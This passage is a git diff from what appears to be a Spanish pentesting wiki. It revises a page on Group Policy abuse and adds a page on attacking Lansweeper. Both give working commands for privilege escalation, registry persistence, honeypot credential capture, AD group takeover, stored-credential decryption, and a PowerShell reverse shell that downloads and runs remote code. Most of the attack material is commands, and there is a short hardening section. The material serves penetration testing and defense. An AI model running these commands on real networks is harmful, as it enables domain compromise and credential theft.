New-GPOImmediateTask -Los GPO mal configurados pueden ser explotados para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto se puede hacer para agregar un usuario al grupo de administradores locales en las máquinas afectadas, elevando significativamente los privilegios: +Los GPOs mal configurados pueden explotarse para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto puede hacerse para añadir un usuario al grupo de administradores locales en las máquinas afectadas, elevando significativamente los privilegios: ```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` -### GroupPolicy module - Abuso de GPO +### GroupPolicy module - Abuse GPO -El módulo GroupPolicy, si está instalado, permite la creación y vinculación de nuevos GPO, y la configuración de preferencias como valores de registro para ejecutar puertas traseras en los computadores afectados. Este método requiere que el GPO sea actualizado y que un usuario inicie sesión en el computador para su ejecución: +El módulo GroupPolicy, si está instalado, permite la creación y vinculación de nuevos GPOs y la configuración de preferencias, como valores del registro, para ejecutar backdoors en los equipos afectados. Este método requiere que el GPO se actualice y que un usuario inicie sesión en el equipo para su ejecución: ```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` -### SharpGPOAbuse - Abuso de GPO +### SharpGPOAbuse - Abuse GPO -SharpGPOAbuse ofrece un método para abusar de GPOs existentes al agregar tareas o modificar configuraciones sin necesidad de crear nuevos GPOs. Esta herramienta requiere la modificación de GPOs existentes o el uso de herramientas RSAT para crear nuevos antes de aplicar cambios: +SharpGPOAbuse ofrece un método para abusar de GPOs existentes añadiendo tareas o modificando configuraciones sin la necesidad de crear nuevos GPOs. Esta herramienta requiere la modificación de GPOs existentes o el uso de herramientas RSAT para crear nuevas antes de aplicar los cambios: ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` -### Forzar Actualización de Políticas +### Forzar actualización de políticas -Las actualizaciones de GPO suelen ocurrir aproximadamente cada 90 minutos. Para acelerar este proceso, especialmente después de implementar un cambio, se puede usar el comando `gpupdate /force` en la computadora objetivo para forzar una actualización inmediata de la política. Este comando asegura que cualquier modificación a los GPO se aplique sin esperar el próximo ciclo de actualización automática. +Las actualizaciones de GPO suelen producirse aproximadamente cada 90 minutos. Para acelerar este proceso, especialmente tras implementar un cambio, se puede usar el comando `gpupdate /force` en el equipo objetivo para forzar una actualización inmediata de la política. Este comando asegura que cualquier modificación en las GPO se aplique sin esperar al siguiente ciclo de actualización automático. -### Bajo el Capó +### Bajo el capó -Al inspeccionar las Tareas Programadas para un GPO dado, como la `Política Mal Configurada`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean a través de scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios. +Al inspeccionar las tareas programadas de una GPO determinada, como la `Misconfigured Policy`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean mediante scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios. -La estructura de la tarea, como se muestra en el archivo de configuración XML generado por `New-GPOImmediateTask`, detalla las especificaciones de la tarea programada, incluyendo el comando a ejecutar y sus desencadenadores. Este archivo representa cómo se definen y gestionan las tareas programadas dentro de los GPO, proporcionando un método para ejecutar comandos o scripts arbitrarios como parte de la aplicación de políticas. +La estructura de la tarea, como se muestra en el archivo de configuración XML generado por `New-GPOImmediateTask`, detalla las especificaciones de la tarea programada — incluyendo el comando a ejecutar y sus desencadenadores. Este archivo representa cómo se definen y gestionan las tareas programadas dentro de las GPO, proporcionando un método para ejecutar comandos o scripts arbitrarios como parte de la aplicación de políticas. -### Usuarios y Grupos +### Usuarios y grupos -Los GPO también permiten la manipulación de membresías de usuarios y grupos en sistemas objetivo. Al editar directamente los archivos de políticas de Usuarios y Grupos, los atacantes pueden agregar usuarios a grupos privilegiados, como el grupo local de `administradores`. Esto es posible a través de la delegación de permisos de gestión de GPO, que permite la modificación de archivos de políticas para incluir nuevos usuarios o cambiar las membresías de grupos. +Las GPO también permiten la manipulación de miembros de usuarios y grupos en los sistemas objetivo. Al editar directamente los archivos de política de Usuarios y grupos, los atacantes pueden añadir usuarios a grupos privilegiados, como el grupo local `administrators`. Esto es posible mediante la delegación de permisos de gestión de GPO, que permite la modificación de los archivos de política para incluir nuevos usuarios o cambiar membresías de grupos. -El archivo de configuración XML para Usuarios y Grupos detalla cómo se implementan estos cambios. Al agregar entradas a este archivo, se pueden otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios a través de la manipulación de GPO. +El archivo de configuración XML para Usuarios y grupos describe cómo se implementan estos cambios. Al añadir entradas a este archivo, se puede otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios mediante la manipulación de GPO. -Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de inicio/cierre de sesión, modificar claves del registro para autorun, instalar software a través de archivos .msi, o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener el acceso y controlar sistemas objetivo a través del abuso de GPOs. +Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de inicio/cierre de sesión, modificar claves del registro para autoruns, instalar software mediante archivos .msi o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener acceso y controlar sistemas objetivo mediante el abuso de GPO. ## Referencias diff --git a/src/windows-hardening/active-directory-methodology/lansweeper-security.md b/src/windows-hardening/active-directory-methodology/lansweeper-security.md new file mode 100644 index 000000000..438e294cd --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md @@ -0,0 +1,153 @@ +# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE + +{{#include ../../banners/hacktricks-training.md}} + +Lansweeper es una plataforma de descubrimiento e inventario de activos IT comúnmente desplegada en Windows e integrada con Active Directory. Las credenciales configuradas en Lansweeper son utilizadas por sus motores de escaneo para autenticarse en activos mediante protocolos como SSH, SMB/WMI y WinRM. Las malas configuraciones con frecuencia permiten: + +- Intercepción de credenciales redirigiendo un Scanning Target a un host controlado por el atacante (honeypot) +- Abuso de ACLs de AD expuestas por grupos relacionados con Lansweeper para obtener acceso remoto +- Descifrado en el host de secretos configurados en Lansweeper (connection strings y credenciales de scanning almacenadas) +- Ejecución de código en endpoints gestionados a través de la función Deployment (a menudo ejecutándose como SYSTEM) + +Esta página resume flujos de trabajo prácticos y comandos que un atacante puede usar para explotar estos comportamientos durante evaluaciones. + +## 1) Recolección de credenciales de escaneo vía honeypot (ejemplo SSH) + +Idea: crea un Scanning Target que apunte a tu host y asigna las Scanning Credentials existentes a él. Cuando se ejecute el scan, Lansweeper intentará autenticarse con esas credenciales y tu honeypot las capturará. + +Steps overview (web UI): +- Scanning → Scanning Targets → Add Scanning Target +- Type: IP Range (or Single IP) = tu IP de VPN +- Configura el puerto SSH a uno accesible (por ejemplo, 2022 si el 22 está bloqueado) +- Desactiva la programación y planifícalo para ejecutarlo manualmente +- Scanning → Scanning Credentials → asegúrate de que existan credenciales Linux/SSH; asígnalas al nuevo Scanning Target (activa todas según sea necesario) +- Haz clic en “Scan now” en el target +- Ejecuta un honeypot SSH y recupera el usuario/contraseña intentados + +Ejemplo con sshesame: +```yaml +# sshesame.conf +server: +listen_address: 10.10.14.79:2022 +``` + +```bash +# Install and run +sudo apt install -y sshesame +sshesame --config sshesame.conf +# Expect client banner similar to RebexSSH and cleartext creds +# authentication for user "svc_inventory_lnx" with password "" accepted +# connection with client version "SSH-2.0-RebexSSH_5.0.x" established +``` +Validar las creds capturadas contra los servicios del DC: +```bash +# SMB/LDAP/WinRM checks (NetExec) +netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '' +netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' +netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +Notas +- Funciona de manera similar para otros protocolos cuando puedes hacer que el scanner se conecte a tu listener (honeypots SMB/WinRM, etc.). SSH suele ser lo más sencillo. +- Muchos scanners se identifican con banners de cliente distintos (p. ej., RebexSSH) y probarán comandos benignos (uname, whoami, etc.). + +## 2) AD ACL abuse: obtener acceso remoto añadiéndote a un grupo app-admin + +Usa BloodHound para enumerar los derechos efectivos de la cuenta comprometida. Un hallazgo común es un grupo específico del scanner o de la app (p. ej., “Lansweeper Discovery”) que tiene GenericAll sobre un grupo privilegiado (p. ej., “Lansweeper Admins”). Si el grupo privilegiado también es miembro de “Remote Management Users”, WinRM estará disponible una vez que nos añadamos. + +Ejemplos de recopilación: +```bash +# NetExec collection with LDAP +netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' --bloodhound -c All --dns-server + +# RustHound-CE collection (zip for BH CE import) +rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '' -c All --zip +``` +Exploit GenericAll en un grupo con BloodyAD (Linux): +```bash +# Add our user into the target group +bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '' \ +add groupMember "Lansweeper Admins" svc_inventory_lnx + +# Confirm WinRM access if the group grants it +netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +Luego obtén una shell interactiva: +```bash +evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +Consejo: las operaciones de Kerberos son sensibles al tiempo. Si recibes KRB_AP_ERR_SKEW, sincronízate con el DC primero: +```bash +sudo ntpdate # or rdate -n +``` +## 3) Desencriptar secretos configurados por Lansweeper en el host + +En el servidor de Lansweeper, el sitio ASP.NET suele almacenar una cadena de conexión encriptada y una clave simétrica usada por la aplicación. Con acceso local adecuado, puedes desencriptar la cadena de conexión de la DB y luego extraer las credenciales de escaneo almacenadas. + +Ubicaciones típicas: +- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config` +- `` … `…` +- Clave de la aplicación: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt` + +Usa SharpLansweeperDecrypt para automatizar la desencriptación y el volcado de las credenciales almacenadas: +```powershell +# From a WinRM session or interactive shell on the Lansweeper host +# PowerShell variant +Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell +powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1 +# Tool will: +# - Decrypt connectionStrings from web.config +# - Connect to Lansweeper DB +# - Decrypt stored scanning credentials and print them in cleartext +``` +El resultado esperado incluye detalles de conexión a la base de datos (DB) y credenciales de escaneo en texto plano, como cuentas de Windows y Linux utilizadas en todo el entorno. Estas a menudo tienen privilegios locales elevados en los hosts del dominio: +```text +Inventory Windows SWEEP\svc_inventory_win +Inventory Linux svc_inventory_lnx +``` +Usar Windows scanning creds recuperadas para acceso privilegiado: +```bash +netexec winrm inventory.sweep.vl -u svc_inventory_win -p '' +# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers +``` +## 4) Lansweeper Deployment → SYSTEM RCE + +Como miembro de “Lansweeper Admins”, la web UI expone Deployment y Configuration. Bajo Deployment → Deployment packages, puedes crear paquetes que ejecutan comandos arbitrarios en activos objetivo. La ejecución la realiza el servicio de Lansweeper con altos privilegios, otorgando ejecución de código como NT AUTHORITY\SYSTEM en el host seleccionado. + +High-level steps: +- Crea un nuevo Deployment package que ejecute un one-liner de PowerShell o cmd (reverse shell, add-user, etc.). +- Apunta al asset deseado (por ejemplo, el DC/host donde se ejecuta Lansweeper) y haz clic en Deploy/Run now. +- Captura tu shell como SYSTEM. + +Example payloads (PowerShell): +```powershell +# Simple test +powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt" + +# Reverse shell example (adapt to your listener) +powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http:///rs.ps1')" +``` +OPSEC +- Deployment actions are noisy and leave logs in Lansweeper and Windows event logs. Use judiciously. + +## Detección y endurecimiento + +- Restringir o eliminar las enumeraciones SMB anónimas. Monitorizar el RID cycling y el acceso anómalo a los shares de Lansweeper. +- Controles de salida (egress): bloquear o restringir estrictamente el tráfico saliente SSH/SMB/WinRM desde los hosts scanner. Alertar sobre puertos no estándar (p. ej., 2022) y banners de cliente inusuales como Rebex. +- Proteger `Website\\web.config` y `Key\\Encryption.txt`. Externalizar secretos en un vault y rotarlos en caso de exposición. Considerar cuentas de servicio con privilegios mínimos y gMSA cuando sea viable. +- Monitoreo de AD: alertar sobre cambios en grupos relacionados con Lansweeper (p. ej., “Lansweeper Admins”, “Remote Management Users”) y sobre cambios de ACL que otorguen membresía GenericAll/Write en grupos privilegiados. +- Auditar la creación/cambios/ejecución de paquetes de Deployment; alertar sobre paquetes que lancen cmd.exe/powershell.exe o conexiones salientes inesperadas. + +## Temas relacionados +- Enumeración SMB/LSA/SAMR y RID cycling +- Password spraying en Kerberos y consideraciones sobre clock skew +- Análisis de rutas con BloodHound de grupos application-admin +- Uso de WinRM y movimiento lateral + +## Referencias +- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html) +- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame) +- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt) +- [BloodyAD](https://github.com/CravateRouge/bloodyAD) +- [BloodHound CE](https://github.com/SpecterOps/BloodHound) + +{{#include ../../banners/hacktricks-training.md}}